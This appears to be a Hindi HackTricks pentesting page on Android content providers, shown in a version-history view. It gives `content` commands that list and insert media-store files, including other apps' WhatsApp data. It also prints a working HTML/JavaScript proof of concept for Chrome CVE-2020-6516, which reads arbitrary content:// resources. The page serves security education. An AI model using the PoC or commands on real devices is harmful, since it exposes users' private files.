hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

121 lines
16 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें**.
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
कंटेंट प्रोवाइडर्स के साथ प्रयोग करने के लिए, एंड्रॉइड डिवाइस पर `content` कमांड का उपयोग किया जा सकता है। रूट एक्सेस आवश्यक नहीं है। उदाहरण के लिए, मीडिया स्टोर द्वारा प्रबंधित फ़ाइलों की सूची देखने के लिए, निम्नलिखित कमांड को निष्पादित किया जा सकता है:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
2023-11-06 08:38:02 +00:00
आउटपुट को और मानव-मित्र बनाने के लिए, हर इंडेक्स फ़ाइल की पहचानकर्ता और पथ को प्रदर्शित करने के लिए स्तम्भों की संख्या पर सीमा लगा सकते हैं।
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
2023-11-06 08:38:02 +00:00
मीडिया प्रदाताओं का अपना निजी नेमस्पेस होता है। उपरोक्त उदाहरण में दिखाया गया है कि कंटेंट प्रोवाइडर तक पहुंचने के लिए संबंधित `content://` URI को निर्दिष्ट किया जाना चाहिए। सामान्यतः, प्रदाता तक पहुंच के लिए पथों पर जानकारी, एप्लिकेशन मेनिफेस्ट (यदि कंटेंट प्रोवाइडर एक एप्लिकेशन द्वारा निर्यात की जाती है) या Android फ्रेमवर्क के स्रोत कोड की जांच करके प्राप्त की जा सकती है।
2021-05-04 11:44:49 +00:00
2023-11-06 08:38:02 +00:00
दिलचस्प बात यह है कि Android उपकरणों पर Chrome `content://` स्कीम के माध्यम से कंटेंट प्रोवाइडर तक पहुंच का समर्थन करता है। यह सुविधा ब्राउज़र को तृतीय पक्ष एप्लिकेशन द्वारा निर्यात की गई संसाधनों (जैसे फ़ोटो, दस्तावेज़ आदि) तक पहुंच देती है। इसे सत्यापित करने के लिए, कोई भी व्यक्तिगत प्रविष्टि मीडिया स्टोर में डाली जा सकती है और फिर उसे ब्राउज़र का उपयोग करके एक्सेस किया जा सकता है:
2021-05-04 11:44:49 +00:00
```bash
$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
2023-11-06 08:38:02 +00:00
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
2021-05-04 11:44:49 +00:00
```
2023-11-06 08:38:02 +00:00
नवीनतम डाली गई फ़ाइल की पहचानकर्ता खोजने के लिए:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file \
2023-11-06 08:38:02 +00:00
--projection _id,_data | grep test.txt
2021-05-04 11:44:49 +00:00
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
2023-11-06 08:38:02 +00:00
और वास्तव में फ़ाइल को क्रोम में देखने के लिए, व्यक्ति एक URL का उपयोग कर सकता है जैसा कि निम्न चित्र में दिखाया गया है। ध्यान दें URL में उपयोग किए जाने वाले फ़ाइल पहचानकर्ता 747 (पहले खोजा गया) है जो URL में संकेतक के रूप में उपयोग किया जाता है।
2021-05-04 11:44:49 +00:00
![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
2021-05-04 11:44:49 +00:00
2023-11-06 08:38:02 +00:00
उदाहरण के लिए, आप WhatsApp से संबंधित सभी फ़ाइलों की सूची बना सकते हैं:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
```
2023-11-06 08:38:02 +00:00
## Chrome CVE-2020-6516 Same-Origin-Policy बाईपास <a href="#cve-2020-6516" id="cve-2020-6516"></a>
2021-05-04 11:44:49 +00:00
2023-11-06 08:38:02 +00:00
ब्राउज़र में _समान मूल नीति_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] यह निर्धारित करती है कि URL A की जावास्क्रिप्ट सामग्री केवल URL B की सामग्री तक ही पहुंच सकेगी अगर A और B के लिए निम्नलिखित URL गुण समान रहें:
2021-05-04 11:44:49 +00:00
2023-11-06 08:38:02 +00:00
* प्रोटोकॉल जैसे `https` vs. `http`
* डोमेन जैसे `www.example1.com` vs. `www.example2.com`
* पोर्ट जैसे `www.example1.com:8080` vs. `www.example1.com:8443`
2021-05-04 11:44:49 +00:00
2023-11-06 08:38:02 +00:00
बेशक, इन नियमों के लिए छूट होती हैं, लेकिन सामान्यतः, `https://www.example1.com` से आयातित संसाधन (जैसे जावास्क्रिप्ट कोड) `https://www.example2.com` के DOM तक पहुंच नहीं पा सकता है, क्योंकि इससे गंभीर जानकारी लीक हो सकती है। **यदि क्रॉस-मूल-संसाधन-साझाकरण (CORS) नीति इसे व्यक्तिगत रूप से अनुमति देती है, तो वेब संसाधन को SOP नियमों को दुर्भाग्यपूर्ण रूप से दूर करना संभव नहीं होना चाहिए।**
2021-05-04 11:44:49 +00:00
2023-11-06 08:38:02 +00:00
महत्वपूर्ण यह है कि Chrome `content://` को _स्थानीय योजना_ के रूप में मानता है, जैसे `file://`। इस मामले में SOP नियम और भी सख्त होते हैं, क्योंकि प्रत्येक स्थानीय योजना URL को अलग मूल माना जाता है। उदाहरण के लिए, **file:///tmp/test.html** में से चल रहे जावास्क्रिप्ट कोड को **file:///tmp/test2.html** की सामग्री तक पहुंच नहीं होनी चाहिए, या फिर फ़ाइल सिस्टम पर किसी भी अन्य फ़ाइल तक। **इस प्रकार, SOP नियमों के अनुसार, `content://` के माध्यम से लोड किए गए संसाधन कोई भी अन्य `content://` संसाधन तक पहुंच नहीं होनी चाहिए।** अच्छा, Chrome की CVE-2020-6516 ने इस नियम को "छोड़" दिया है।
2021-05-04 11:44:49 +00:00
2023-11-06 08:38:02 +00:00
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] `content://` URL के माध्यम से लोड किए गए संसाधनों पर SOP बाईपास है। **उदाहरण के लिए, `content://com.example.provider/test.html` से चल रहे HTML दस्तावेज़ के संदर्भ में चल रहा जावास्क्रिप्ट कोड किसी भी अन्य `content://` URL को लोड और पहुंच सकता है।** यह एक गंभीर सुरक्षा दुर्बलता है, विशेष रूप से Android 9 या पिछले संस्करणों के उपकरणों पर चल रहे। इन उपकरणों पर सीमित संग्रहण \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] को लागू नहीं किया गया है और, परिणामस्वरूप, सिस्टम के मीडिया स्टोर सामग्री प्रदाता के माध्यम से **/sdcard** के तहत अनुप्रयोग-विशिष्ट डेटा और और अधिक महत्वपूर्ण रूप से **/sdcard/Android** के तहत डेटा तक पहुंच की जा सकती है।
2021-05-04 11:44:49 +00:00
2023-11-06 08:38:02 +00:00
एक प्रमाण-ऑफ-कांसेप्ट बहुत सरल है। **/sdcard** के तहत अपलोड किए गए एक HTML दस्तावेज़ का उपयोग `XMLHttpRequest` करके विषम `content://` URL तक पहुंच करता है। फिर इसे मीडिया स्टोर में जोड़ा जाता है और च्रोम में प्रदर्शित किया जाता है, पहले दिए गए उदाहरण की तरह। प्रदर्शन के उद्देश्यों के लिए, कोशिश की जा सकती है कि `content://media/external/file/747` को लोड किया जाए, जो वास्तव में "Hello, world!" उदाहरण का मीडिया स्टोर URL है। आश्चर्यजनक रूप से, HTML दस्तावेज़ के मूल के अंदर चल रहा जावास्क्रिप्ट कोड, सामग्री को लाएगा और **test.txt** की सामग्री को प्राप्त करेगा और प्रदर्शित करेगा।
2021-05-04 11:44:49 +00:00
```markup
<html>
<head>
2023-11-06 08:38:02 +00:00
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
2021-05-04 11:44:49 +00:00
</head>
<body onload="poc()"></body>
</html>
```
2023-11-06 08:38:02 +00:00
**इस लेख से ली गई जानकारी:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें।**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>